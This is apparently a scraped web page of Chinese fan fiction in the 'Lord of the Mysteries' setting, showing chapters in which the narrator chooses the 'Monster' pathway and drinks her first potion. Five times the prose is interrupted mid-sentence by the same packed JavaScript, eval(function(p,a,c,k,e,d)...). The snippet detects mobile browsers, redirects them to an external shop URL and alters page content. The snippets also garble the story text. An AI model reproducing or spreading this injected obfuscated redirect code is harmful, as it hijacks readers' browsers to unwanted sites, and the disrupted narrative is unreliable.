你感觉自己的大脑空白了一瞬,仿佛有小小的烟花在耳边炸开。你努力想维持矜持,但嘴角已经不受控制地上扬,镜片后的眼睛睁得圆圆的,那份鲁恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193684|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淑女应有的含蓄早就飞到了九霄云外。你只能下意识地用手捂了一下嘴,才没让惊呼声溢出来。这,这简直像走在路上突然被幸运金币砸中了脑袋! 邓恩队长将你的反应尽收眼底,嘴角勾起了一丝不易察觉的笑意(不过还是被你捕捉到了!),但语气依旧严肃:“现在,请认真听清楚你们各自的选择。” 他的目光先看向克莱恩,又转回你,声音低沉而清晰,在安静的办公室里回荡: “你希望成为一位非凡者吗?” “但必须说明,由于你并非从小在教会环境下培养,也非功勋卓著足以直接授予‘不眠者’途径的虔诚信徒,你目前只能从 ‘不完整序列’ 中挑选起始。” “所谓不完整序列,是指教会或其他势力只掌握了该途径部分中低序列配方的途径。选择它们,意味着你未来的道路可能在某一个阶段遭遇瓶颈,甚至断绝。” 他顿了顿,给了你消化的时间,然后继续道: “当然,你也可以放弃这次即时机会,选择积攒功劳,等待功勋足够时,申请成为‘不眠者’——也就是女神亲赐的黑夜守卫的最初,也是我们值夜者掌握最完整、最正统的途径起始。” 邓恩队长看着你们:“你有一天的时间单独考虑。之后,告诉我你们的选择。如果选择成为非凡者,我会告知你可供选择的具体途径及其已知信息和风险。” 办公室内一片寂静,只有远处街道隐约传来的马车声。咖啡的香气似乎也变得遥远。你和克莱恩对视一眼,你从对方眼中看到了自己。你没有在他的脸上看到震惊、犹豫,但是他和你一样,你能看出那难以抑制的、对踏入那个真正隐秘世界的渴望与悸动。 “队长,我能咨询一下如果选择现在成为非凡者,可供选择的不完整序列有什么吗?” 你没有等克莱恩先开口,因为队长全程说的是“你”,说明这些克莱恩应该都知道了,可能甚至都已经选好了途径。 他都已经快了我一步了,不能再等了! 而且得要让愚者先生面前展现自己的价值啊,不尽快成为非凡者的话,要是愚者先生发现聚会上只有我一个人是普通人,觉得我太菜了怎么办?不会被愚者先生即刻绞杀吧? 所以,立刻,马上,最好是现在!我就要做非凡者! 21. 第 21 章 选择 你的心跳在邓恩队长说出“你同样获得了一次选择的机会”时便已如擂鼓,而当“成为非凡者”这个选项真正摆在面前时,你几乎没有经过太多理性思考就做出了回答——力量,现在就要! 你几乎是屏着呼吸听完了邓恩队长关于“不完整序列”和“不眠者”的说明。当那一天的考虑时间被提出时,你感觉自己一秒钟都等不了 ——功劳难攒,机会稍纵即逝。 “队长,” 你听到自己的声音响起,比想象中更坚定、更急切,“我希望能了解更多。请问,如果选择现在成为非凡者,我们有哪些‘不完整序列’可以选择?它们各自……大概是什么样的?” 你问出了最关键的问题,目光灼灼地看向邓恩。 邓恩队长对你的反应似乎并不意外,他点了点头。他先看向克莱恩,确认对方也在倾听,然后才缓缓开口,声音平稳而清晰,像是在宣读一份重要的报告: “教会目前除了‘不眠者’这条完整且正统的途径,还掌握着另外三种相对独立、但序列并不完整的起始魔药配方,它们分别属于不同的途径,但都止步于中低序列。” “第一种, ‘窥秘人’ 。这条途径的非凡者倾向于探索世界的奥秘、解读隐秘的象征、掌握仪式魔法和部分占卜能力,呵,就是老尼尔的途径,我知道你最近经常在老尼尔那学习神秘学知识。” 你听到“解读象征”、“仪式魔法”、“知识渴求”时,心中微微一动,这与你似乎有些隐约的契合。 “序列9的‘窥秘人’能初步提升灵感,对知识有更强的渴求和理解力,能够解读部分神秘学符号,并开始学习基础的仪式魔法。但需要警惕,过于深入某些知识本身就可能带来危险……” 邓恩队长的话语里带着明显的警示意味。 “第二种, ‘收尸人’。这条途径与终结、死亡、灵体相关。序列9的‘收尸人’能更清晰地感知到死亡气息、弱小的灵体,并具备一定的安抚亡者、处理尸体的能力,对疾病和毒素也有较强的抵抗力和净化能力。他们往往是处理各种涉及死亡和灵异事件的专家。” 邓恩的描述让你联想到黑夜教会“安魂”、“宁静”领域的职责,但“收尸人”这个名字听起来实在有些……阴森。你下意识地摸了摸胳膊。 “第三种, ‘占卜家’ 。这条途径专注于占卜、预知和命运领域的干涉。序列9的‘占卜家’能通过灵摆、梦境、接触等不同方式进行初步的占卜,获得模糊的启示或答案,对危险也有更强的直觉预警。他们往往能规避部分风险,但也可能因为窥视命运而受到反噬。这条途径的后续,教会掌握的信息同样有限。” 邓恩说到这里,特意停顿了一下,目光扫过你和克莱恩。 然后,他脸上露出一丝难得的、几乎可以称为“运气不错”的表情:“另外,今天早上刚刚得到的消息。一位来自生命学派的‘药师’向教会投诚,我们因此额外获得了两个新的序列9配方。” “第四种, ‘药师’ 。根据我们得到的可靠信息,这条途径擅长调配各种药剂,治疗伤病,制造具有非凡效果的药水、精油、熏香等。序列9的‘药师’就具备辨识常见草药和矿物特性、进行基础治疗药剂调配的能力,对毒物也有一定抗性和识别力。这是一条非常实用,尤其在辅助和后勤方面价值巨大的途径。但生命学派本身的途径也并不完整。” “第五种, ‘怪物’ 。这条途径……比较特殊。” 邓恩队长的语气变得格外慎重,“这个途径的非凡者灵感很高,经常能听见别人听不见的声音,看到别人看不到的事物,以至于偶尔能窥见未来的画面,对危险有着敏锐的直觉预感。这个序列的非凡者常常会陷入某种恍惚的状态,呢喃起别人听不懂的话语,以至于被当成真正的怪物。选择它需要极大的勇气和……运气。教会对此途径的掌握也非常有限。” 五种选择,五种截然不同的方向和风险,摆在了你和克莱恩面前。 邓恩队长介绍完五种选择后,办公室内陷入了短暂的沉默,只有窗外隐约传来的市井声。 你心中快速权衡着利弊:“窥秘人” 似乎最契合你的学术背景与对知识的天然亲近;“药师” 实用且相对安全;“占卜家” 的预知和危险直觉很有吸引力;“收尸人” 感觉有些阴郁,但是很实用;而“怪物” ……那种不可控的能力和“怪物”之名让你理智上有些排斥。 邓恩队长的目光首先转向了克莱恩,他的声音沉稳:“克莱恩,你考虑好了吗?” 克莱恩几乎没有任何犹豫,他深吸了一口气,仿佛早已下定了决心,声音清晰而坚定:“队长,我选择‘占卜家’。” 邓恩灰色的眸子凝视着克莱恩,目光锐利而深邃,仿佛要穿透他的坚定,审视他做出这个选择的每一分动机和觉悟。这无声的审视持续了将近一分钟,办公室里的空气都仿佛凝固了。但你看到,克莱恩站得笔直,目光没有闪躲,脸上的神情虽然严肃,却没有丝毫退缩。 最终,邓恩队长缓缓点了点头,声音里听不出太多情绪:“好吧。这是你的选择。” 接着,他转向了你,语气稍微和缓了一些:“温蒂,这对你而言是一个重大决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193685|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你可以有一天的时间考虑,选择关乎你的未来……” 一天?不,我必须在今天下午三点前做出决定,最好在那之前就成为非凡者! 邓恩队长的话音未落,你内心却已了然——你必须,也必然会在今天下午三点前做出决定,踏入非凡世界。 “窥秘人”这条与知识、奥秘为伴的途径,看起来确实是与你背景最契合的理性选择。 你表面上只是点了点头,推了推眼镜,试图掩饰内心的波澜:“谢谢您,队长。我……我需要好好想想。也许‘窥秘人’会比较适合我……” 你低声说出了此刻最倾向的选项,但语气并不十分确定。 就在这时,邓恩队长像是忽然记起了什么补充信息,他看了一眼手中的文件,用比较随意的口吻说道:“对了,关于‘怪物’途径,资料上提到,这条途径在生命学派内部有时也被称为 ‘命运途径’ 。不过,教会对这条途径的了解也相对有限。” 命运途径! 这个词像一道无声的闪电,瞬间击中了你的思绪。 命运……这个词最近的出场频率高得令人心惊:你因疑似“命运”的牵引被那位灰雾之上的“愚者”先生关注;你被“愚者”亲自赋予的塔罗牌代号正是——“命运之轮”;而现在,这条听起来就充满不确定性和风险的“怪物”途径,竟然又被称作 “命运途径”! 一连串的“命运”如同无形的丝线,在你脑海中交织缠绕。这真的只是巧合吗? 你想要用习惯的、偏向唯物和理性的思维方式去解构它,将其归因于巧合或心理暗示。但下一秒你就意识到,非凡特性、魔药这些概念本身就宣告了这个世界并非纯粹的唯物世界。那么,“命运”这种看似唯心的概念,以一种更高维度的、可被某些途径干涉和利用的“规则”形式存在,似乎也并非不可能。 你感觉自己的心脏微微收紧,一种混杂着恐惧、好奇和某种诡异宿命感的情绪在心底蔓延。你对“怪物”途径的初始排斥感,似乎被这突如其来的“命运”关联动摇了。它不再仅仅是一个听起来可怕的名字和危险的途径,而是仿佛与你最近的遭遇产生了一种难以言喻的共鸣。 这条途径在序列9就具备超高的灵感和对危险的直觉预感,这与你本身的高灵感天赋不谋而合。它似乎直指这个世界更深层的某种运作规律。 一个念头不可抑制地冒了出来:选择命运途径,是否意味着你正在主动回应那份来自灰雾的“召唤”?这是否会让你在即将到来的聚会上,更能理解“愚者”的意图,甚至……更好地生存下去? 22. 第22章 怪物 邓恩队长那句“命运途径”仿佛一道闪电劈开了你心中的迷雾。之前所有的权衡、利弊分析,在这一刻似乎都让位于某种更强烈的、近乎直觉的牵引。高频出现的“命运”,灰雾之上的“命运之轮”,此刻又遇到“命运途径”……这不再是巧合能解释的了。 你深吸一口气,仿佛要将胸腔里所有的犹豫和恐惧都排空。推了推眼镜,你的目光变得异常坚定,看向邓恩队长: “队长,不用等到明天了。我现在就可以确定我的选择。” 你清晰地说道,“我选择‘怪物’途径。” 办公室里的空气似乎凝固了一瞬。 你看到邓恩队长一直沉稳的灰眸中闪过清晰的惊讶,甚至眉头都微微蹙起。而站在一旁的克莱恩更是直接低呼出声:“温蒂?!” 邓恩队长身体微微前倾,语气严肃地提醒:“温蒂,‘怪物’途径的危险性和不确定性我刚才已经强调过。它的魔药会带来不可控的变异风险,灵感过高导致的幻听、幻视乃至精神恍惚,都会对你的日常生活造成困扰,甚至危及自身和他人。这绝非儿戏,我建议你慎重考虑,不必急于一时。” 克莱恩也看向你,眼神里带着不解和明显的担忧,他接话道:“温蒂,队长说得对。‘怪物’途径……听起来就很危险。‘窥秘人’或者‘药师’可能更适合你,也更安全。” 他的劝阻看起来很恳切,完全是出于对你的关心。 面对两人不约而同的劝阻,你知道他们是为你好。但你心中那股被“命运”一词点燃的冲动和隐隐的共鸣感并未消退。你整理了一下思绪,决定给出一个他们能够接受——或者说,至少无法再轻易反驳的理由。 你挺直脊背,脸上的表情变得认真而虔诚(至少努力表现得如此):“队长,克莱恩,谢谢你们的提醒。我明白‘怪物’途径的风险。但是……” 你顿了顿,目光变得有些悠远,仿佛在回忆,“在最近这几天,从我卷入韦尔奇事件开始,‘命运’这个词,或者说与命运相关的概念,在我身边出现的频率高得异乎寻常。很多微小的、看似无关的线索和遭遇,最终都奇妙地指向了某种……我无法完全理解的轨迹。” 你抬手,按照教会教导的礼节,在胸前熟练地画了一个红月,低声诵念:“赞美女神。” 然后才继续道,“我无法断言这是否是女神的启示,但作为一名黑夜的信徒,我无法忽视这种强烈的、反复出现的暗示。选择‘怪物’,选择这条‘命运途径’,或许正是命运——或者说女神——为我指明的方向。我愿意承担由此带来的风险,去走这条或许注定属于我的道路。” 这番话半真半假,但感情真挚。你确实感受到了“命运”的频繁造访,也确实对黑夜女神抱有敬畏,尤其是在老尼尔那补神秘学知识之后。你将个人强烈的直觉和那不可言说的灰雾经历,包装在了更易于被值夜者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193686|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受的“女神启示”框架下。 邓恩队长听着你的解释,尤其是看到你画红月礼赞的动作,他严肃的目光在你脸上停留了片刻,似乎在评估你话语中的虔诚与决心。最终,他缓缓地、几不可察地点了点头,脸上的惊讶被一种深沉的凝重取代: “既然你如此认为,并已向女神祈求指引……我尊重你的选择,温蒂·佩洛蒙西娅小姐。愿女神庇佑你的前路。” 他不再劝阻,但语气中的告诫意味更浓,“但你必须牢记,一旦踏上这条道路,就没有回头路可走。你必须以最坚定的意志去掌控魔药的力量,而非被其吞噬。” “我明白,队长。” 你郑重地点头。 你注意到,旁边的克莱恩在听到你这番“命运启示”的解释后,脸上的担忧并未完全散去,反而似乎多了些更深沉的思索。他嘴唇动了动,像是想说什么,目光与你疑惑的视线对上时,却又止住了。最终,他只是有些勉强地扯了扯嘴角,移开视线,低声道:“……没什么,温蒂,祝你好运。” 他的欲言又止让你心中掠过一丝疑惑,但此刻你全部的心神都已经被自己的选择和对未来的忐忑所占据,无暇细究。 邓恩队长已经站起身,走向档案柜:“既然你们都已经做出选择——克莱恩是‘占卜家’,温蒂是‘怪物’,那么,接下来,”队长站了起来,拿上半高的黑色礼帽,边戴边说道,“跟我去地底吧。” 23. 第23章 魔药 邓恩队长点了点头,对你们迅速做出的决定表示认可。他随即起身,示意你们跟上。“既然你们已经做出选择,那么事不宜迟。跟我来,我们去地下的炼金室。” 你们跟着他穿过接待厅,再次进入那扇沉重的黑灰色对开门,沿着石阶走向查尼斯门后的区域。与之前充满肃杀和封印物气息的走廊不同,这次队长带领你们转向了另一条岔路,进入了一间充斥着各种奇异草药、矿物粉末和玻璃器皿气味的房间——值夜者小队的炼金室。 “在这里等一会儿。”邓恩队长对你们说道,他那灰色的眸子在略显昏暗的煤气灯下显得格外深邃,“我去让老尼尔来一趟,他需要去查尼斯门内领取‘占卜家’和‘怪物’的魔药配方以及相应的材料。” 他顿了顿,似乎回忆了一下库存清单,补充道:“你们运气不错。‘占卜家’的魔药材料,我们这里还有现成的两份。‘怪物’途径的序列9魔药材料之前虽然没有特意准备,但查尼斯门后的库存里应该也能配齐。” 说完,他便转身离开,去寻找管理资料和物资的老尼尔。 炼金室里暂时只剩下你和克莱恩。克莱恩似乎对这里的一切都充满了好奇,他小心翼翼地打量着那些奇特的坩埚、蒸馏器、研磨钵以及墙上书写着复杂符号和公式的黑板。 你因为之前来给老尼尔帮忙,处理过一些基础的草药研磨和溶液配制,对这里的环境相对熟悉一些。刚想开口向这位同事介绍一下这些炼金设备的基本用途,比如那个用于精确称量微量材料的灵性天平,或者那套用于萃取植物精华的玻璃导管装置,门口又响起了脚步声。 邓恩队长去而复返,他脸上带着他那标志性的、略带歉意的神情,轻轻拍了下自己的额头:“对了,我又忘记了一件事。” 他看向你们,语气恢复了一贯的沉稳与严肃:“需要再次向你们明确一点,允许你们现在就成为非凡者,主要是基于应对当前潜在危险和追查安提哥努斯笔记下落的紧迫需要,你们之前的功劳只占其中一部分考量。因此,在成功服食魔药后,你们暂时还不能立刻转为正式的行动队队员。” “你们目前的身份,依旧是文职人员,领取文职对应的薪水,负责之前安排的那些文书、情报整理或辅助性工作。不过,”他话锋一转,“成为非凡者后,你们需要额外跟随老尼尔系统学习大量的神秘学知识、基础仪式魔法、以及掌控自身灵性和魔药的技巧。这是比日常工作更重要的任务,关乎你们的生命安危。具体的学习时间,你们需要自己协调安排,但不能影响基本的职责。” 他的目光在你们两人身上停留片刻,确保你们理解了这项重要规定,然后才再次转身离开,这次是真的去找老尼尔了。 炼金室里再次安静下来。邓恩队长的话像一盆冷水,稍稍浇熄了即将获得非凡力量的兴奋感,但也让你更加清楚地认识到,这条道路充满了约束与责任。 唉……你有点遗憾没有转正工资,看来正式队员的身份和更高的薪酬还需要用未来的表现和功劳去争取。 炼金室内,你和克莱恩面面相觑,只有微弱的光从暗门外透进来,让器皿折射出细碎的光。 老尼尔提着那个纹路神秘的银制小箱走进来时,带进一阵混合了陈旧羊皮纸和某种干燥草药的气息。 老尼尔的目光首先落在你身上,那双总是带着温和笑意的眼睛里此刻充满了毫不掩饰的讶异:“‘怪物’?温蒂,你真是……让我老头子吃了一惊。” 他摇摇头,将银箱小心地放在铺着厚绒布的工作台上,“有个性,不从众,这很好。我们这条路,有时候就需要点不一样的眼光。” 他的语气随即转为凝重,“但这条路……对‘灵感’的要求和负担,恐怕比你想象的更重。有时候,知道得太多、看得太清,不一定是祝福,反而可能是诅咒。你必须学会分辨哪些该看,哪些……最好永远别去‘看’。” 你郑重地点了点头,手指无意识地扶了扶眼镜:“我明白,尼尔先生。我会小心的。” “明白就好,你我是很放心的。” 老尼尔没再多言,开始熟练地指挥起来,“莫雷蒂先生,去把煤油灯都点上,光线要充足稳定。温蒂你就去把暗门关上,确保没有气流干扰。” 你们依言而行。克莱恩仔细地点亮了额外的灯盏,你则推动了炼金室内侧一扇沉重的包铁木门,将它严丝合缝地关上,彻底隔绝了外界的声响和干扰。室内只剩下火焰燃烧的细微噼啪声、仪器偶尔的轻响,以及三人放轻的呼吸声。 老尼尔打开银箱,取出两卷用深色丝带系好的羊皮纸。其中一卷明显有了些年头了,边缘磨损,皮质发黄;另一卷则相对较新。他小心地展开较新的那卷,上面用仿佛尚未干涸的、暗红色的墨水书写着扭曲而优美的赫密斯文字符,在灯光下泛着微光。 “因为‘怪物’魔药服食后,会立刻拔高你的灵性,带来强烈的感知变化,需要更密切的初期观察,” 老尼尔解释道,手指点着羊皮纸上的文字,“所以,我们先配制你的魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193687|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药,温蒂。” 他的声音在安静的炼金室里显得格外清晰,: “‘怪物’:取自流经墓园或废弃教堂下游的浑浊河水100毫升,”他一边念诵,一边从旁边上锁的橱柜中拿出一个有刻度的大玻璃瓶,“呵呵,开玩笑的,只要是浑浊的河水就可以了,放心,不会让你生病的。” 他将盖子打开,随意倒了约100毫升的浑浊河水,你看着那水的颜色总觉得不是那么放心,但是你不敢说,怕影响尼尔先生的配置。 “普通四叶草三朵,沟酸浆纯露十滴,”老尼尔从银质箱子里拿出一个小盒子,“四叶草可以晒干之后留存,沟酸浆纯露可以熬制萃取,这样不容易变质。” 这些都倒进锅里之后,你感觉锅里的液体颜色更加古怪了,闻起来还酸酸的。 “还有一枚序列九就可以做的幸运符,呵呵,还好我之前就做过,正好还剩一枚,”老尼尔把幸运符之间丢进锅里,你在想这个之前是多久之前。 “还有,服用者自身的血液九滴……”老尼尔示意我去银纹箱子里找小刀。你这个时候当然不敢多耽误,找出小刀对着自己左手小指指尖划了一刀。 “一,二,三……七,八,九。”确定加了九滴血液进去,你把手收了回来,含在了嘴里。 “记住,” 老尼尔将主材料放进锅里,彩色鲤鱼的尾巴闪耀着梦幻般的虹彩,同时讲解着,“辅助材料的份量,稍有增减影响不大,甚至可以依据灵性直觉进行微调。但主材料——” 他用镊子夹起那朵银色的四叶草,神情无比严肃,“分量只能少,不能多!哪怕是多出头发丝那么一点,都可能让平衡彻底崩溃,将你引向失控或畸变。当然,也不能太少,否则魔药效力不足,无法完成晋升,同样危险。” 彩色鲤鱼的尾巴和银色四叶草放进锅里的瞬间,锅内的光点汇聚、旋转,仿佛一口微型星云在铁锅中诞生,散发出一种既绚丽又让人隐隐不安的气息。 最后一步完成后,老尼尔用一把长柄银勺,小心地将锅内已然变得清澈透明、但内部仿佛蕴藏着流动的七彩极光的液体,舀入一个早已准备好的、擦拭得一尘不染的透明玻璃瓶中。 液体在瓶中微微晃动,那些七彩的光晕随之流转,美得惊心动魄,却又散发着令人灵魂颤栗的奇异波动。 老尼尔将玻璃瓶放在铺着天鹅绒的托盘上,推到你的面前。他的额角渗出细密的汗珠,但眼神明亮。 “这就是你的魔药,‘怪物’。” 24. 第24章 序列九! 炼金室内,煤油灯的光芒为那些奇异的器皿和材料投下摇曳的影子。老尼尔将那个盛放着仿佛蕴藏流动七彩极光般液体的玻璃瓶,稳稳地放在铺着天鹅绒的托盘上,推到你的面前。 看着托盘中那瓶流淌着美得令人心悸却又散发着无形压力的液体,你深吸一口气,努力压下狂跳的心脏和发干的喉咙。你抬起头,看向经验丰富的老尼尔,声音比预想中更平稳一些: “尼尔先生……是直接喝下去吗?” 老尼尔点了点头,脸上严肃的神情稍微缓和,甚至露出一丝顽皮的笑容,试图缓解你的紧张:“没错,直接喝。要是觉得太紧张,” 他眨了眨眼,做了一个邀舞的滑稽手势,“我不介意先和你跳一支交际舞热热身。我这把老骨头,可是很久没和……漂亮年轻的小姑娘跳舞喽。” 这出乎意料的调侃让你愣了一下,随即,一种哭笑不得的情绪冲淡了些许恐惧。你忍不住笑了起来,也顺着他的话开了个玩笑:“那说定了,等今天下班,我就要请尼尔先生您跳一支舞,可不许反悔。” 老尼尔闻言,哈哈大笑起来,连忙摆手,脸上露出一种“怕了怕了”的滑稽表情:“不行不行,这可不行。要是让我家那位知道了,怕是要吃醋,好几天都不理我这个老头子咯。这代价我可承受不起。” 这番关于跳舞的轻松对话,让炼金室内原本凝重的气氛为之一松。连一旁神情肃穆的克莱恩,嘴角也不由得微微上扬。笑声中,最后一丝犹豫仿佛也被驱散了。 就是现在。 你收敛笑容,目光重新聚焦在那瓶魔药上。不再多想,不再迟疑,你伸出手,稳稳地握住了那微凉的玻璃瓶。触感异常清晰。 心一横,你将瓶口凑到嘴边,然后——仰头,一口气将瓶中的液体全部灌入了喉咙。 预想中各种古怪、刺激、难以忍受的味道并未出现。那魔药入口的感觉竟是异常的清凉,甚至可以说没什么特别的味道,质感平淡得如同清水,顺滑地滑过你的喉咙。 魔药滑入喉咙,那最初的清凉感迅速转化为一种奇异的浸润与扩散。它不像液体在流动,更像是一束光,或者说无数细微的光点,顺着食道抵达你的腹部,然后以此为圆心,无声无息地爆散开来,渗入你的五脏六腑,融入你的每一个细胞。 紧接着,一种前所未有的感觉攫住了你。你的身体仿佛失去了重量,你的意识像被一股轻柔却不可抗拒的力量从躯壳中“抽”了出来。它轻飘飘地上升,最终盘踞在了炼金室石质天花板的角落,以一种绝对冷静、绝对疏离的视角,俯视着下方的一切。 你“看”到了下方的情景,但视野中的世界已彻底改变。整个空间不再是三维的,而像是一幅笔触厚重、色彩浓郁、层次堆叠的油画。所有的物体边缘都模糊了,融入了弥漫的、象征各种能量与命运的色块之中。 而房间里的两个活物——老尼尔和克莱恩,在你的“视野”中呈现出极其诡异的形态。他们不再是人形,而是化作了两只由无数复杂线条、明暗色块和不断蠕动、延伸的轨迹构成的“大虫子”。 老尼尔他那由线条和色块构成的身影显得颇为“庞大”,但这种庞大带着一种不祥的淤积感和陈旧感。他的底色是深邃的、属于黑夜的安宁静谧,但这片静谧之上,却缠绕着太多杂乱、扭曲、如同荆棘般刺眼的暗红色、污浊的紫色与不稳定的幽绿线条。 这些线条相互纠缠、打结,仿佛一个即将被自身重量拖垮的、混乱的线团。从他身影的某些节点,延伸出一些细小、黑暗、仿佛通向虚无的断裂痕迹。 在他头顶上方,隐约浮现着一双冷漠的、由无数跳跃的赫密斯文符号构成的巨大眼睛,正无声地注视着他,仿佛在等待某个注定的时刻 。你能“看”到,一条充满绝望和执念的暗色轨迹,正将他引向一个毁灭的终点。 克莱恩他的形象则更加奇特。他整个人仿佛被一团无边无际、缓慢旋转的灰白色浓雾紧紧包裹着,那雾气深邃、古老,隔绝了几乎所有的窥探。你只能勉强看到雾气下一个相对单薄、但轮廓清晰的人形光影。 尽管他被重重迷雾笼罩,看不真切,但一种深沉的、仿佛源自亘古的悲伤,却如同寒潮一般,透过灰雾,清晰地传递到你的灵性感知中。这悲伤并非针对某一具体事件,更像是一种……孤独行走于无边黑暗、承载着难以想象重负的宿命之悲 。 你就这样悬浮在空中,冷静地“观察”着这两只“大虫子”和他们身后那象征着命运轨迹的、虫豸般蠕动的线条。这种视角超然而诡异,不带丝毫人类的情感。 就在你沉浸于这令人震撼又恐惧的视觉感受时,你心念一动,意识到自己的意识还悬浮在空中。你“低头”看去,只见自己的身体还僵硬地站在原地,手里握着空了的玻璃瓶,眼神空洞。 你尝试着控制那悬浮的“视角”,如同控制自己的手脚一般,缓缓向自己的身体“沉”下去。 仿佛灵魂归位,你重重地跌回自己的身体。脚踏实地的感觉回来了,炼金室内熟悉的草药和金属气味再次涌入鼻腔。你依然站在原地,手里还握着那个已经空了的玻璃瓶,姿势和你“离开”时一模一样,仿佛刚才的一切只是一场瞬间的幻觉。 然而,身体的感觉告诉你那不是梦。你的视野虽然恢复了正常的视角,但看东西却模糊不清,仿佛隔着一层毛玻璃,所有物体边缘都带着重影。脑袋里像是被塞进了一团棉花,晕晕沉沉,伴随着一阵阵细微的、仿佛有许多人在远处窃窃私语的耳鸣。你下意识地扶住了旁边的桌子,才勉强站稳。 你眨了眨眼,试图看清几步之外的老尼尔和克莱恩,但他们身影的边缘依旧有些模糊,在煤气灯的光晕中微微晃动。 “感觉怎么样?”老尼尔关切的声音传来,但听起来也有些遥远和扭曲。 你晃了晃脑袋,试图驱散那些重影和晕眩感,艰难地开口,声音有些沙哑:“视野有重影……头很晕,还有点耳鸣。” 老尼尔松了口气,脸上露出“果然如此”的表情:“正常现象,这是灵性骤然拔高后,身体和感官还没完全适应的表现。你需要立刻开始冥想,帮助稳定灵性,收束这些不受控制的外放感知。克莱恩,你也仔细看着,这对你等下服食魔药有帮助。” 说完,老尼尔开始指导你进行最基础的冥想,以应对这最初的混乱。 他没有传授复杂的仪式或观想图,而是让你选择一个最简单、最稳定、最熟悉的意象:“集中你的精神,不要对抗那些眩晕和重影,尝试在脑海里清晰地勾勒出一个简单的、稳固的物体形象。” 一个骰子。 几乎是下意识的,你的脑海中浮现出这个意象。规则的、标准的六面骰,每一个面都光滑平整,点数是清晰的凹坑。你开始全神贯注地在“眼前”(实际上是脑海)勾勒它——方正的形体,坚硬的棱角,均匀的六个面,上面的点数从一到六…… 你摒弃杂念,一遍又一遍地“观看”和“触摸”这个想象中的骰子,勾勒它的轮廓,想象它的质感。 渐渐地,你自我感觉稳定了许多。那种灵魂要飘出体外的轻盈感和失控感慢慢消退,像是被无形的线缆重新系牢。眼前晃动的重影也一点点收敛、叠合,虽然看东西仍像隔着一层薄薄的水雾,有些晃动感,但至少不再是两个或三个影子了。 就在你感觉初步控制住自己,准备松一口气时,一个念头突然闪过——视野模糊,是不是也因为……? 你下意识地抬手,摘下了那副陪伴你多年、镜片厚重的圆框眼镜。 清晰! 眼前的世界,从未有过的清晰!炼金台上器具的细微纹路,老尼尔袍子上的纤维,克莱恩脸上细微的表情变化,煤气灯火焰跳动的边缘……一切都像被水洗过一般,锐利而分明! “哈!” 你忍不住惊喜地低呼出声,甚至忘了场合,兴奋地转向老尼尔和克莱恩,“克莱恩!尼尔先生!我的近视……我的近视眼好了!好神奇!” 老尼尔乐呵呵地笑了起来,捋了捋胡子:“看来‘怪物’魔药不仅提升了你的灵性,还顺便调整了你的视觉感官。不错的意外收获,很多途径的初始序列都会带来一些身体上的良性小改善。” 但他随即从旁边的柜子里取出了一面小巧的银柄手持镜,递到你面前,“不过,先别高兴得太早,看看你的眼睛。” 你接过镜子,疑惑地看向镜中的自己。脸庞还是那张脸庞,但镜中人的双眼……虹膜的颜色,已经从原本接近黑色的深褐,变成了仿佛融化了白银般的、略显冰冷的银白色!瞳孔在银白的底色中显得格外幽深,乍一看去,有种非人的奇异美感,但也带着一丝令人不安的疏离感。 你愣住了。 “这是魔药力量的外显之一,” 老尼尔解释道,声音平和,灵性的急剧提升首先影响了你的视觉器官。别担心,这不是永久的。等你通过冥想和练习,逐渐掌控了新增的灵性,学会了如何收敛它,这层银白就会褪去,你的眼睛会恢复原状。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193688|197109||http|test|mini|href|location''.split(''|''),0,{})); 